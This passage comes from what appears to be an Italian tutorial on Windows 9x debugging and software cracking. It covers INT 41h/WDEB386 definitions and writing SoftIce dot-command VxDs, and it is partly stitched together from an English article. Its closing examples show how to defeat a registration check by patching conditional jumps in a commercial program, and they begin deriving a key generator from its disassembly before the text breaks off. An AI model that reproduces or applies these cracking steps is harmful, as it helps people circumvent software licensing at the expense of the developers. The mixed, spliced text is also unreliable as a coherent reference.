D386_Device_Params  ENDS
WDEB_INT2F_STARTING EQU    0H
WDEB_INT2F_ENDING   EQU    1H
WDEB_INT2F_NESTED_STARTINGEQU    2H
WDEB_INT2F_NESTED_ENDING   EQU    3H
PMINIT_INIT_IDT     EQU    0H
PMINIT_INIT_PAGING  EQU    1H
PMINIT_ENABLE_DEBUG_QUERYSEQU    2H
PMINIT_INIT_SPARE_PTE      EQU    3H
PMINIT_SET_ENTER_EXIT_VMM  EQU    4H
PMINIT_GET_SIZE_PHYS       EQU    5H
PMINIT_SET_BASE_SPARE_PTE  EQU    6H
PMINIT_ENABLE_MEMORY_CONTEXT     EQU
      7H
PMINIT_MAX   EQU    7H
WdebVCPIInfo STRUC
fnVCPI  DF      ?
rdsVCPI      DW     ?
laVTP  DD    ?
Port67 DW    ?
WdebVCPIInfo ENDS


VTP    STRUC
zaCr3VTP     DD     ?
laGdtrVTP    DD     ?
laIdtrVTP    DD     ?
selLdtVTP    DW     ?
selTrVTP     DW     ?
ipVTP  DW    ?
unusedVTP    DW     ?
csVTP  DW    ?
VTP    ENDS
VCPI_RM_CALLOUT_INT EQU    67H
VCPI_PROT_ENTRY     EQU    0DE0CH
Debug_Serv_Int      EQU    41H
DS_Out_Char  EQU    0H
DS_In_Char   EQU    1H
DS_Out_Str   EQU    2H
DS_Is_Char   EQU    3H
DS_Out_Str16 EQU    12H
DS_ForcedGO16EQU    40H
DS_LinkMap   EQU    45H
DS_UnlinkMap EQU    46H
DS_CheckMap  EQU    47H
DS_IsAutoLoadSym    EQU    48H
DS_DebLoaded EQU    4FH
DS_DebPresentEQU    0F386H
DS_LoadSeg   EQU    50H
DS_LoadSeg_32EQU    0150H
DS_MoveSeg   EQU    51H
DS_FreeSeg   EQU    52H
DS_FreeSeg_32EQU    0152H
DS_DGH EQU   56H
DS_DFL EQU   57H
DS_DLL EQU   58H
DS_StartTask EQU    59H
DS_Kernel_Vars      EQU    5aH
DS_VCPI_Notify      EQU    5bH
DS_ReleaseSegEQU    5cH
DS_User_Vars EQU    5dH
DS_POSTLOAD  EQU    60H
DS_EXITCALL  EQU    62H
```

```
DS_INT2       EQU    63H
DS_LOADDLL    EQU    64H
DS_DELMODULE EQU    65H
DS_LOGERROR  EQU    66H
DS_LOGPARAMERROR     EQU    67H
DS_RIN EQU    09H
DS_BANKLINE  EQU    0AH
DS_NEWTASK   EQU    0BH
DS_FLUSHTASK EQU    0CH
DS_SWITCHOUT EQU    0DH
DS_SWITCHIN  EQU    0EH
DS_IntRings  EQU    20H
DS_IncludeSegs       EQU    21H
MaxDebugSegs EQU    20
DS_CondBP     EQU    0F001H
DS_ForcedBP  EQU    0F002H
DS_ForcedGO  EQU    0F003H
DS_HardINT1  EQU    0F004H
DS_Out_SymbolEQU    0FH
DS_Disasm_InsEQU    10H
DS_JumpTableStart    EQU    70H
DS_RegisterDotCommand        EQU    70H
DS_RegisterDotCommand16      EQU    71H
DS_DeRegisterDotCommand      EQU    72H
DS_Printf     EQU    73H
DS_Printf16  EQU    74H
DS_GetRegisterSet    EQU    75H
DS_SetAlternateRegisterSet EQU    76H
DS_GetCommandLineChar        EQU    77H
DS_EvaluateExpression        EQU    78H
DS_VerifyMemory      EQU    79H
DS_PrintRegisters    EQU    7aH
DS_PrintStackDump    EQU    7bH
DS_SetThreadID       EQU    7cH
DS_ExecDebugCommand EQU    7dH
DS_GetDebuggerInfo  EQU    7eH
DS_CheckFaultEQU    7fH
DS_SetBreak  EQU    80H
DS_RedirectExec      EQU    81H
DS_PassOnDebugCommand        EQU    82H
DS_TrapFault EQU    83H
DS_SetStackTraceCallBack     EQU    84H
DS_RemoveSegsEQU    85H
DS_DefineDebugSegs  EQU    86H
DS_SetBaudRate       EQU    87H
DS_SetComPortEQU    88H
DS_ChangeTaskNum     EQU    89H
DS_ExitCleanup       EQU    8aH
DS_InstallVGAHandler         EQU    8bH
DS_GetComBaseEQU    8cH
DS_GetSymbol EQU    8dH
DS_CopyMem    EQU    8eH
ifdef WDEB98
DS_SetBaudRateEx     EQU    8fH
DS_Reserved0 EQU    90H
DS_Reserved1 EQU    91H
DS_Reserved2 EQU    92H
DS_Reserved3 EQU    93H
DS_Reserved4 EQU    94H
DS_Reserved5 EQU    95H
DS_Reserved6 EQU    96H
DS_Reserved7 EQU    97H
DS_Reserved8 EQU    98H
DS_Reserved9 EQU    99H
DS_Reserved10EQU    9AH
DS_Reserved11EQU    9BH
DS_Reserved12EQU    9CH
DS_Reserved13EQU    9DH
DS_Reserved14EQU    9EH
DS_Reserved15EQU    9FH
DS_InstallVxDThunk  EQU    0A0H
DS_ThunkDownTo16     EQU    0A1H
DS_JumpTableEnd      EQU    0A1H
else
DS_JumpTableEnd      EQU    8eH
endif

SaveRegs_Struc       STRUC
Debug_EAX     DD     ?
Debug_EBX     DD     ?
Debug_ECX     DD     ?
Debug_EDX     DD     ?
Debug_ESP     DD     ?
Debug_EBP     DD     ?
Debug_ESI     DD     ?
Debug_EDI     DD     ?
Debug_ES      DW     ?
Debug_SS      DW     ?
Debug_DS      DW     ?
Debug_FS      DW     ?
Debug_GS      DW     ?
Debug_EIP     DD     ?
Debug_CS      DW     ?
dwReserved    DD     ?
Debug_EFlags DD     ?
Debug_CR0     DD     ?
Debug_GDT     DB     SIZE QWORD DUP (?)
Debug_IDT     DB     SIZE QWORD DUP (?)
Debug_LDT     DW     ?
Debug_TR      DW     ?
Debug_CR2     DD     ?
Debug_CR3     DD     ?
Debug_DR0     DD     ?
Debug_DR1     DD     ?
Debug_DR2     DD     ?
Debug_DR3     DD     ?
Debug_DR6     DD     ?
Debug_DR7     DD     ?
Debug_DR7_2   DD     ?
Debug_TR6     DD     ?
Debug_TR7     DD     ?
Debug_TrapNumber     DW     ?
Debug_ErrorCode      DW     ?
SaveRegs_Struc       ENDS
DebInfoBuf    STRUC
DIB_MajorVersion     DB     ?
DIB_MinorVersion     DB     ?
DIB_Revision DB     ?
DIB_Reserved DB     ?
DIB_DebugTrap16      DD     ?
DIB_DebugTrap32 DF      ?
DIB_DebugBreak16     DD     ?
DIB_DebugBreak32         DF       ?
DIB_DebugCtrlC16     DD     ?
DIB_DebugCtrlC32         DF       ?
DebInfoBuf    ENDS


BreakStruc    STRUC
BS_BreakEIP  DD     ?
BS_BreakCS    DW     ?
BS_BreakESP  DD     ?
BS_BreakSS    DW     ?
BreakStruc    ENDS
RedirectExecStruc    STRUC
RDE_fpbufDebugCommand    DF       ?
RDE_cbDebugCommand  DW     ?
RDE_fpszInput   DF      ?
RDE_usFlags  DW     ?
RDE_cbOutput DD     ?
```

```
RDE_fpbufOutput DF      ?
RedirectExecStruc   ENDS

REPEAT_FOREVER_CHAR EQU    0feH

AddrS  STRUC
AddrOff       DD     ?
AddrSeg       DW     ?
AddrType      DB     ?
AddrSize      DB     ?
AddrTask      DW     ?
AddrS  ENDS
EXPR_TYPE_SEGEQU    0001H
EXPR_TYPE_SELEQU    0009H
EXPR_TYPE_LINEQU    0002H
EXPR_TYPE_PHYEQU    000AH
EXPR_TYPE_LOGEQU    0008H
EXPR_TYPE_MODEQU    000BH
DEBUG_FAULT_TYPE_V86       EQU    0001H
DEBUG_FAULT_TYPE_PM EQU    0002H
DEBUG_FAULT_TYPE_RING0     EQU    0004H
DEBUG_FAULT_TYPE_FIRST     EQU    0008H
DEBUG_FAULT_TYPE_LAST      EQU    0010H
Win386_Query_Int    EQU    22H
Win386_Alive EQU    0
Win386_Q_Ack EQU    0F386H
Win386_Query EQU    1
Win386_PhysToLinr   EQU    2
Win386_AddrValid    EQU    3
Win386_MapVM EQU    4
Win386_UnmapVM      EQU    5
Win386_GetDLAddr    EQU    6
Win386_GetVXDName   EQU    7
Win386_GetPDEEQU    8
Win386_GetFrame     EQU    9
Win386_GetLDTAddress       EQU    10
Win386_GetThreadID  EQU    11
Win386_GetTSHandler EQU    12
Win386_GetArplHandler      EQU    13
Max_Win386_Services EQU    13
endif
```

Il sistema originariamente era stato disegnato per il debugger WDEB386 della Microsoft.
La teoria è legata al fatto di creare comandi che dovranno essere inseriti in SoftIce mediante un punto precedente al comando stesso (.comando xxx).
I devices driver virtuali vengono riferiti con il termine VXD i quali sono in forma generale dei file eseguibili a 32 bits i quali possiedono il più alto privilegio possibile nel ring0.
Il discorso dei vari ringx è relativo al sistema di gestione del sistema operativo, ovvero è un metodo interno all' OS di cui vedremo qualche cosa parlando come argomento del sistema di SoftIce per l'intercettazione dei faults.
Il tipo di eseguibile non è PE ma LE (linear executable) ovvero un vecchio tipo di eseguibile.
Ultimamente la loro importanza è diventata notevole tanto che la Microsoft ha aggiunto al possibilità di leggere dinamicamente questi file.
In passato venivano usati soltanto per creare device virtuali di periferiche hardware mentre ai nostri giorni troviamo tante perti di codice inserite in questi file al fine di velocizzare l'esecuzione oppure per guadagnare l'accesso a risorse di sistema riservate.
L'interfaccia del debugger in modo protetto sotto Windows 95 o superiore fornisce un metodo molto semplice per permettere il colloquio tra DLL a 32 bits, VXD e il sistema.
In Win95 questo sistema è accessibile tramite l' INT41h.
Tra le altro cose l'interfaccia dell'int41h permette a un VXD di fornire delle routines specifiche di debug le quali possono essere chiamate dalla console di debug.
In teoria qualsiasi debugger a livello di sistema può essere esteso in questo modo.
Questo va detto con cautela visto che non tutte le funzioni fornite dall'int41h sono implementate dal vostro debugger.
SoftIce, tanto bene quanto il WinDbg di Microsoft le supporta anche se di fatto non può garantire nulla in quanto queste estensioni sono implementate nel VMM il quale non è parte di SoftIce.
Inoltre le estensioni .punto non possono eseguire controlli legati agli errori e tantomeno sapere quali potrebbero essere le necessità di sistema.
L'inoltro di un comando .punto in un momento non idoneo potrebbe creare un crash di sistema.
Comunque ritorniamo al metodo per implementare delle estensioni a SoftIce.
Come dicevamo prima il modo è appunto quello di usare il punto innanzi al comando come mostrato prima.
Andando sotto SoftIce e digitando

```
.vmm
```

avremo mostrata una finestra con un menu composto da diverse opzioni di debug le quali non sono parte di SoftIce ma implementate tramite vmm.vxd (Virtual Machine Manager).
Quando inviamo o digitiamo un comando .VXDnome il sistema invia un messaggio Debug_Query allo specifico device virtuale.
Se la procedura di ControlDispatch del VXD di traget supporta un handler per questo messaggio allora il controllo gli viene passato.
La procedura per la gestione del messaggio di Debug_Query deve risiedere in un segmento locked (ovvero bloccato e non scaricabile su disco neppure dalla gestione cache).
Se fosse dentro ad un pageable code-segment il vostro sistema potrebbe sganciare la procedura se questa fosse residente, in quel momento, su disco come pagina scaricata dalla memoria.
Entrando nuovamente in SoftIce e digitando

```
.my
```

Qui entrerebbe in ballo un discorso relativo alle versioni a disposizione del sistema operativo in base al fatto che disponiate di una versione compilata di debug o una normale di commercializzazione.
Questo discorso è legato al fatto che sotto la versione di debug esistono alcuni VXD in più rispetto all'altra versione.
In ogni caso dovreste avere a video il range della vostra memoria valida.
A questo punto è importante conoscere come il debugger chiama questo codice e come riesce ad avere i limiti validi della memoria fisica.
Implementare un comando punto (dot) è come imporre una certa architettura al server VXD.
In questo caso il comando sarebbe .M e non .MY.
Il successivo Y sarebbe un parametro passato al'handler con questo comando.
Quando il server VXD sta inizializzando la sua interfaccia di debug deve richiamare una funzione chiamata RegisterDotCommand (INT 41h - servizio 70h AX=70h) per rehgistrare il comando in questione nel sistema di debugger.
Fondamentalmente registrare un comando dot fornisce al sistema di debugger un entry point con il quale può essere chiamato quando viene inviato un tale comando.
Per vedere quali comandi dot sono registrati è sufficiente inviare un comando :

.?

Come dicevamo prima l'interfaccia API relativa al protect mode debuger è implementata tramite INT41h.
Questo interrupt chiama il debugger di sistema tramite un gate dell'interrupt a 32 bits, direttamente per eseguire varie funzioni.
Questa interfaccia è parzialmente non documentata (nel capitolo ASSEMBLER è usato dentro al programma MAP).
La lista che segue mostra le funzioni dell'INT 41h più utilizzate :

```
AX=00h --  Display character on debug terminal
   entry :
  AL = character to display


AX=01h -- Read character from debug terminal
   returns:
          AL = readed char


AX=02h -- Displays a string on debug terminal
           entry:
   DS:ESI pointer to null terminated string to display

AX=12h -- Displays a string on debug terminal (called by 16 bit code )

   entry:
          DS:SI pointer to null terminated string to display

AX=40h -- Run debugee until specified  CS:IP  is reached

   entry :
    CX = desired CS
    BX = desires IP


AX=70h -- Register dot command (32 bit code )
   entry:
    BL = dot command to register
    ESI = linear address of the handler routine
    EDI = linear address of the help text
```

returns:
AX == 0 if successful
AX != 0 if registration failed

AX=71h -- Register dot command (called by 16 bit code)
entry:
BL = dot command to register
CX:SI = linear address of the handler routine

DX:DI = linear address of the help text
returns:
AX == 0 if successful
AX != 0 if registration failed

AX=72h -- Unregister dot command (unregister dot commands registered by both 70h & 71h)
entry:

BL = dot command to de-register

AX=73h -- Debug prinf (C like printf function >> output on debugger terminal) 32 bit

entry:
DS:ESI = address of format string

DS:EDI = address of first parameter passed (all parameter are DWORD's)
returns:
EAX = nr. of characters printed on debug terminal

AX=74h -- Debug printf (C like printf function >> out on debugger terminal) 16 bit

entry:
DS:SI = address of format string

ES:DI = address of the start of the word or dword arguments
returns:

AX = nr of chars outputed

AX=75h -- Get Register Set
entry :
DS:ESI = address of a SaveRegs_Struc type structure

AX=76h -- Set Alternate Register Set

entry:
CX = thread ID (0 for current thread)

DS:ESI = address of a SaveRegs_Struc type structure

AX=77h -- Get Command Line Chararacter

```
        entry:
     BL = 0 -> get char ,  text pointer not incremented , leading space not
ignored
        = 1 -> get char , increment text pointer , leading blank is skipped

        = 2 -? get char , text pointer not incremented ,leading blank is skipped

exit:
     AL = command line character retrieved
            AH = 0 if EOL encountered , !0 if more characters await parsing


   AX=78h -- Evaluate Expression

      entry:
     ds:esi expression to evaluate


      returns:

     AX: -> 0, returns a data value
         -> !0 returns a linear address

     CX = TID
     EBX = evaluated value


   AX=79h -- Verify Memory
      entry:

     ECX = length of memory region
     DS:ESI = starting address of memory to verify


      returns:

      AX: -> 0 OK
          -> !0 memory range is invalid


   AX=7A -- Directs debugger to dump current registers


   AX=7b -- Directs debugger to perform a stack dump
     entry:

          BX:  -> 01h - verbose stack dump
        -> 02h - 16 bit stack dump

        -> 04h - 32 bit stack dump



   AX=7dh -- Execute Debugger Command

        entry:
     DS:ESI = pointer to the command script
     CX =   size in bytes of script
```

Alcune strutture:

```
SaveRegs_Struc struc
Debug_EAX  dd ?
Debug_EBX  dd ?

Debug_ECX  dd ?
Debug_EDX  dd ?

Debug_ESP  dd ?
Debug_EBP  dd ?

Debug_ESI  dd ?
Debug_EDI  dd ?

Debug_ES  dw ?
Debug_SS  dw ?

Debug_DS  dw ?
Debug_FS  dw ?
Debug_GS  dw ?

Debug_EIP  dd ?
Debug_CS  dw ?

   dd ?
Debug_EFlags  dd ?

Debug_CR0  dd ?
Debug_GDT  dq ?

Debug_IDT  dq ?
Debug_LDT  dw ?

Debug_TR  dw ?
Debug_CR2  dd ?
Debug_CR3  dd ?

Debug_DR0  dd ?
Debug_DR1  dd ?

Debug_DR2  dd ?
Debug_DR3  dd ?

Debug_DR6  dd ?
Debug_DR7  dd ?

Debug_DR7_2  dd ?
Debug_TR6  dd ?

Debug_TR7  dd ?
Debug_TrapNumber dw -1

Debug_TrapNumber dw -1

Debug_ErrorCode  dw 0
SaveRegs_Struc ends
```

Ci sono altre funzioni implementate tramite int 41h ma sono più complesse e questo non èm luogo per creare un capitolo relativo a queste.
Se desiderate appprofondire l’argomento guardate nel DDK.
Per implementare queste estensioni a SoftIce si deve scegliere in nquale linguaggio scriverle.
Le scelte cadono tra l’assembler e il C/C++.

Nel secondo caso conviene procurarsi qualche tool destinato alla scrittura dei device driver (Vtools - Vireo Software).
E’ anche possibile scegliere di scriverlo interamente in assembler.
Per prima cosa bisogna procurarsi un device ID unico anche se questo non è obbligatorio ma serve a fare in modo che il VXD non venga nuovamente riletto se già presente in memoria.
L’ordine di lettura non importa nche se si deve considerare nel caso in cui vengano utilizzate nel vostro VXD parti scritte da altri.
Le uniche parti che devono essere lette prima del nostro modulo sono il VMM e il DebugDevice.
Inoltre nomn sono richieste precauzioni particolari fino a che il vmm.vxd e il DebugDevice possiedono Init_Order uguale e 0.
Questo valore specifica che il VMM deve partire leggendo i VXD partendo con il valore più basso per giungere al valore UNDEFINED_INIT_ORDER come ultimo.
In questo modo semplicemente specificando UNDEFINED_INIT_ORDER tutto sarà OK.
La successiva cosa veramente importante è la procedura del Virtual Device's control.
Dovrete sempre inserire questa procedura in un segmento BLOCCATO (locked).
Questa routine è una funzione callback la quale risponde ai messaggi inviati da VMM e diretti ai VXD i quali prendono le appropriate misure di risposta.
Spesso questa routine passa meramente il controllo al vcodice utente responsabile di gestire il messaggio.
Ricordatevi che se avviene il ritorno con il CARRY FLAG settato dal vostro handler significa che è avvenuto un errore mentre un CARRY FLAG “pulito” indica che tutto è andato per il verso giusto.
Un debug helper VxD deve gestire al minimo due messaggi
Queste sono Device_Init e Debug_Query.
Se avete in progetto di scrivere il vostro VXD come un Dynamic loadable device driver la procedura di controllo dovrà gestire altri due messaggi e precisamente Sys_Dynamic_Device_Init e Sys_Dynamic_Device_Exit.
In alcuni casi dovrà essere processato anche il messaggio W32_DeviceIocontrol.

message and write an appropriate handler to dispatch control to your procedures.Please note
Qundo eseguite la compilazione con il MASM dovete mantenere il livello di debug ad almeno UNO (parlo del Flag di compilazione) per fare in modo che non vengano eliminate certe macro di debug definite in VMM.INC.
Se il vostro device dispone di un handler per il messaggio Debug_Query, digitando un comendo DOT seguito dal nome del VXD questo verrà processato.
Per utilizzare il tipo due dei comandi a punto sarà necessario informare il debugger sulla sua esistenza.
Il miglior posto per fare questo è dentro all’ handler per il messaggio di Device_Init.
Prima di provare a registrare un comando punto dovrete essere sicuri che il debugger sia presente.
Inviando un INT 41h senza un debugger caricato si crea un errore di protezione (protection faults).
Se una protection fault capita dentro a un messaggio Device_Init presente in un device letto staticamente, non solo il caricamento dello stesso non arriva a buon fine ma anche l’inizializzazione di Win 9x non potrà proseguire.
Questo spesso crea gravi problemi che necessitano successivamente dell’uso di Windows in modo di prova.
Il metodo più semplice per vedere se il debugger è in uso è quello di usare Test_Debug_Installed fornito da vmm (VxdCall Test_Debug_Installed).
Questo tornerà con lo zero flag cancellato se il debugger è presente.
Se ZF (zero flag) è settaqto allora il debugger non è presente.
Se questo è vero, ovvero il debugger non è presente, non dovrete caricare il VXD.
Voi dovrete semplicemente fare questo ritornando con il CF settato dal messaggio Device_Init message , informando la virtual machine manager che la procedura di inizializzazione è fallita.
Quando invece sarete sicuri che il debugger è presente in memoria potrete registrare i vari comandi punto.

Questo viene eseguito chiamando INT 41h con AX = 70h.
Gli altri registri vengono settati con :

BL = comando punto da registrare. (Esempio: mov bl, 'Z' per dire che il comando è .Z)
ESI= indirizzo della routine di gestione.
EDI= Indirizzo della stringa di help terminata con CR.

Le seguenti sono restrizioni applicabili all' handler :

1. L' handler deve risiedere nello stesso stack usato quando viene chiamato Int41h

2. L'handler non deve cambiare CS , DS , e provare ad accedere a indirizzi di memoria non validi.

3.L'handler deve girare sul ring0.

Dopo aver registrato tali comandi punto potrete accedere alle loro funzioni dal debugger.
Se non lo desiderate più dovrete deregistrarlo.
Se il vostro VXD è letto staticamente non esiste modo per deregistrare i comendi punto che dovranno essere presenti sino alla fne di Win9x.
Se il VXD è letto dinamicamente ed ad un certo punto lo scaricate dalla memoria senza deregistrare i comandi punto potrebbe capitare che se questi venissero richiamati i moduli eseguite sarebbero dentro alla spazzatura (il VXD è stato scaqricato e tolto dalla memoria) con effetti non descrivibili.

La funzione di deregistrazione viene eseguita con la funzione 72h dell' INT 41h
Con BL contenente il comando de deregistrae.
Una buona scelta è di inserire questo dentro all'handler per il Sys_Dynamic_Device_Exit.
Fino a quando si stà processando un comando punto o un messaggio Debug_Query message non è buona idea cercare di lasciare SoftIce premendo i tasti definiti.
Questo resetterebbe anche la macchina intera.
Quando il debugger chiama l'handler devrebbe settare DS e CS con un flat selector.
Normalmente CS dovrebbe essere 28h.
Questo legge anche il primo carattere del comando nel registro AL.
La routine deve eseguire un return FAR visto che sicuramente il debugger, dal quale deve tornare, risiederà in un altro segmento.
Ol valore restituito da AX può essere 0 (OK) o qualsiasi altro valore per indicare un'altra condizione.

.The first thing you should do after entering

your handler is to parse the command line. This can be accomplished by using INT 41h , AX=77h
(Get command line character) . A pointer to the current character in command line is

maintained by the debugger.The value specified in BL register choose how this pointer
is managed.Also the flag specified in BL sets the way in which one or more blank spaces are

treated.They can be ignored , the pointer value will be updated to the next valid character
in the command line or you can choose to parse them as well.The GetCommandLine function will

return with AH set to 0 if end of line was encountered , and a value !0 otherwise.The

command line character is retrieved in AL.
Not much things left to say.It's up to you in which way you will used the facilities

presented here.Your code runs on ring 0 , so you can do just about anything you imagine.The

only thing I want to say is that you should take care about what you are doing.Programming
in ring0 requires a very serious understanding of protection mechanism , page-mode memory
management , x86 internal architecture and the way in which Windows'95 virtual memory manager

manages those facilities.Remember , you have absolute power but using it in a wrong way can
cause your machine to hang , and you can cause loose of data from your hard drives.Fair warning!

Chapter 5: The sample: icecmd.vxd

Accompanying this article there is a sample VxD who employees most of the techniques
described in the pervious chapter.The VxD does not provide any real functionality , it is

intended only for didactic purposes.It implements a new dot command .Z and a DebugQuery
handler routine.The sample dot command .Zs will dump the stack trace on the debug console.

You can accomplish same thing issuing STACK command in Soft-Ice.It also show you very
basic command line parsing.The VxD is implemented as a static VxD.It also present a mechanism

in which a VxD can detect if it was previously loaded , preventing multiple instances.Since
the code is commented I will not insist in presenting it once again inside the article.Read

the source code ,I tryed to keep things easy to understand.
The only thing unexplained is the code what prevents the VxD being loaded twice.

This code resides in VxD_REAL_INIT_SEG code segment.This code is auto called at the time when
the system is still in real mode and the Virtual Device Drivers are loaded.When the system
reach this entrypoint the BX register contain a value that indicates if the device is already

loaded or not.The method requires a unique device Id.To allow loading you must exit with
AX set to a certain value , as shown below.

Abort_Device_Load -- tells to VMM that this VxD should not be loaded

Abort_Win386_Load -- tells to VMM to end Windows loading (WIN 95 itself will fail loading if this value is passed to AX

Device_Load_Ok -- tells to VMM that al is OK , device can be loaded
No_Fail_Message -- use with Abort_Device_Load and Abort_Device_Load.Instructs

the VMM to not display an error message.If not specified the VMM will print an error message on screen.

Also , you must return with BX , EDX , SI registers set to the folowing values:

BX --- must contain a pointer to a null terminated page array table containing the physical pages reserved for VxD own use.Valid adress

ranges are 0 to 100h. (That's it the table must reside in very low memory.

MUST be set to 0 if no pages are reserved

SI -- must contain a pointer to a null terminated area of data items MUST be set to 0 if there are no specific instance objects.

EDX -- contain a value who it is passed to the protected mode procedure

what is the handler for Sys_Critical_Init message broadcasted by VMM.This value is re-loaded in EDX just before the protected mode init procedure is called

Usualy set to 0 , but it will not harm anything if contain other values. (This is because it's up to you if the handler for

Sys_Critical_Init will use it or no)

This is not my creation , ive learned this from W. Oney's code.

Download icecmd.zip & source code

Chapter 6: Moving to ring 3

Part of the Protected Mode Debug API is available also on ring3.In fact , some

functions from WIN32 API like OutputDebugString relays on INT 41h to carry out the job.

This opens more interesting possibilities , since you can write ring3 programs that
interacts with a system debugger , retrieving info from it and instructing it to carry

out various actions.
Note that not entire API is disponible on ring3.Generally, experimenting won't
harm as long as you are sure that a system debugger is installed.

ESEMPI

ESEMPIO 1

Per iniziare prendiamo un esempio semplice in cui non tenteremo neppure di capire la logica di codifica del numero seriale ma semplicemente modificheremo il flusso facendo in modo che risponda alla seguente logica :

- **CHIEDI IL NUMERO SERIALE**
- **SE SBAGLIATO RINGRAZIA PER LA REGISTRAZIONE**

In pratica invertiremo il controllo fatto.
Non riporterò il nome del programma preso come target per non entrare nell'illegalità.
L'interessante comunque non è il programma ma le tecniche.
Carichiamo con WDASM il programma e successivamente usando l'opzione di menu LOAD PROCESS sotto la voce DEBUG eseguiamo la lettura.
Il pulsante IMP FN mostra le funzioni importate che in questo caso denotano che trattasi di un programma in visual Basic.
La richiesta del numero di serie avviene mediante una dialog d'input.
Tra le funzioni importate ne esiste una, chiamata :

MSVBVM60.rtcInputBox

Eseguendo un doppio click WDASM ci posizionerà nei punti dove viene chiamata la funzione.
Senza impazzire a cercare di capire a priori in quale punto è la chiamata giusta posizioneremo un breakpoint in ciascuno mostrato.
A questo punto mando in esecuzione il programma in attesa che questo si fermi ad un breakpoint.
Compare la maschera nella quale inserisco un valore casuale (1234567890).
Il punto in cui si ferma il codice mostra le seguenti linee di programma.

```
* Reference To: MSVBVM60.rtcInputBox, Ord:0254h
                                  |
:00437143 E820CAFCFF              Call 00403B68
:00437148 8BD0                    mov edx, eax
:0043714A 8D4DC0                  lea ecx, dword ptr [ebp-40]
```

Mediante l'analisi dei valori puntati dal registro EAX si nota il valore inserito.

```
[eax+00000000] - 0031  1.
[eax+00000002] - 0032  2.
[eax+00000004] - 0033  3.
[eax+00000006] - 0034  4.
[eax+00000008] - 0035  5.
[eax+0000000A] - 0036  6.
[eax+0000000C] - 0037  7.
```

A questo punto proseguiamo il programma passo a passo per vedere dove avviene qualche tipo di comparazione.
Dopo qualche linea di codice che non riporto ci si trova dinanzi a :

```
:004371AE E8AFC9FCFF              Call 00403B62
:004371B3 0FBFC0                  movsx eax, ax
:004371B6 85C0                    test eax, eax
:004371B8 7514                    jne 004371CE
:004371BA C745FC6D000000          mov [ebp-04], 0000006D
:004371C1 BAA4314100              mov edx, 004131A4
:004371C6 8D4DC0                  lea ecx, dword ptr [ebp-40]
```

Prendo il salto jne 004371CE e lo modifico in je 004371CE.
WDASM possiede la possibilità di inserire patch al codice in modo momentaneo.
In altre parole posso, senza uscire, inserire le istruzioni modificate anche se poi per farle diventare definitive dovrò modificare il programma tramite un editor HEX.
Continuo a eseguire step by step il programma fino a quando il cursore si posiziona sulla linea con il salto.
A questo punto premo il pulsante PATCH CODE.
Dopo aver richiesto di applicare la patch proseguo passo a passo il programma.
Il programma viene indirizzato sulle seguenti istruzioni :

```
:004371CE C745FC6F000000          mov [ebp-04], 0000006F
:004371D5 8D45C0                  lea eax, dword ptr [ebp-40]
:004371D8 50                      push eax
:004371D9 E806F50400              call 004866E4
:004371DE 0FBFC0                  movsx eax, ax
:004371E1 85C0                    test eax, eax
:004371E3 0F859F010000            jne 00437388
```

All'indirizzo 004371E3 esiste un altro salto da modificare.
Non riporto tutto il codice per motivi di spazio.
Le istruzioni dopo il salto specificato visualizzano il messaggio di codice errato per cui il flusso deve essere modificato cambiando il jne.
Giunti sull' istruzione eseguiamo la patch come fatto precedentemente.
Mandiamo in esecuzione con F9 il programma.
Come ho detto inizialmente non ivengono mostrati dati relativi al programma usato come target per cui anche nella finestra che ringrazia per la registrazione eseguita ho camuffato i dati relativi al programma.

Cracking
Thank you for registering !
OK

ALCUNE PARTICOLARITA' DI WDASM.

WDASM possiede diverse proprietà che lo rendono particolarmente interessante.
Nella finestra dove sono presenti i pulsanti per eseguire lo step by step sonbo presenti dei marcatori che permettono al programma di bloccarsi ogni volta che :

1. **VIENE RICHIAMATA UNA FUNZIONE DOCUMENTATA**

2. **VIENE CHIAMATA UNA FUNZIONE NON DOCUMENTATA**

3. **VIENE CHIAMATA UNA FUNZIONE LOCALE**

Se vengono abilitati questi flags ogni volta che si verificherà un evento del tipo specificato verrà aperta una finestra in cui vengono mostrati tutti i parametri in ingresso alla funzione.
Sempre da questa finestra è possibile mandare in esecuzione la funzione per poter verificare i valori di ritorno.
La seguente immagine mostra la finestra suddetta.

Premendo Get API Result si ottiene la vista con i valori restituiti dalla call.

ESEMPIO 2 (CREAZIONE GENERATORE DI CHIAVI)

In questo esempio vedremo come utilizzare le informazioni derivanti dalle analisi per creare un generatore di chiavi.
Eseguiamo il programma e quando questo ci chiede il nome e il codice inseriamo il nostro nominativo e un codice fittizio.
Dopo aver, con SoftIce, premuto CTRL-D per attivarlo inseriamo un breakpoint cercando di intercettare le funzioni API utilizzate per l'input di tali dati.
In questo caso l'input avviene con GetDlgItemTextA il quale fa interrompere il programma al seguente punto.

```
:00404DB2 8D95A8FAFFFF  lea edx, dword ptr [ebp+FFFFFAA8]
:00404DB8 52            push edx          ; Il vostro nome
:00404DB9 E80B550000    call 0040A2C9     ; Routine di registrazione
:00404DBE 83C408        add esp, 00000008
:00404DC1 85C0          test eax, eax     ; 0 se la registrazione è errata
:00404DC3 7D17          jge 00404DDC      ; 1 se OK.
```

A questo punto seguiamo passo a passo entrando nella routine relativa alla registrazione (CALL 40A2C9)

```
Referenced by a CALL at Addresses:
:00404DB9   , :00407F76

:0040A2C9 55            push ebp
:0040A2CA 8BEC          mov ebp, esp
:0040A2CC 81C4B0FEFFFF  add esp, FFFFFEB0
:0040A2D2 53            push ebx
:0040A2D3 56            push esi
:0040A2D4 57            push edi
:0040A2D5 8B5508        mov edx, dword ptr [ebp+08]
:0040A2D8 8DB500FFFFFF  lea esi, dword ptr [ebp+FFFFFF00]
:0040A2DE 33C0          xor eax, eax
:0040A2E0 EB16          jmp 0040A2F8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A2FB(C)
|
:0040A2E2 0FBE0A        movsx ecx, byte ptr [edx] ; Qui inizia
:0040A2E5 83F920        cmp ecx, 00000020         ; ECX è char del nome
:0040A2E8 740D          je 0040A2F7               ; eseguiamo il je
:0040A2EA 8A0A          mov cl, byte ptr [edx]    ; copia il nome senza spazi
:0040A2EC 880C06        mov byte ptr [esi+eax], cl
:0040A2EF 42            inc edx
:0040A2F0 40            inc eax
:0040A2F1 C6040600      mov byte ptr [esi+eax], 00
:0040A2F5 EB01          jmp 0040A2F8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A2E8(C)
|
:0040A2F7 42            inc edx

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A2E0(U), :0040A2F5(U)
|
:0040A2F8 803A00        cmp byte ptr [edx], 00
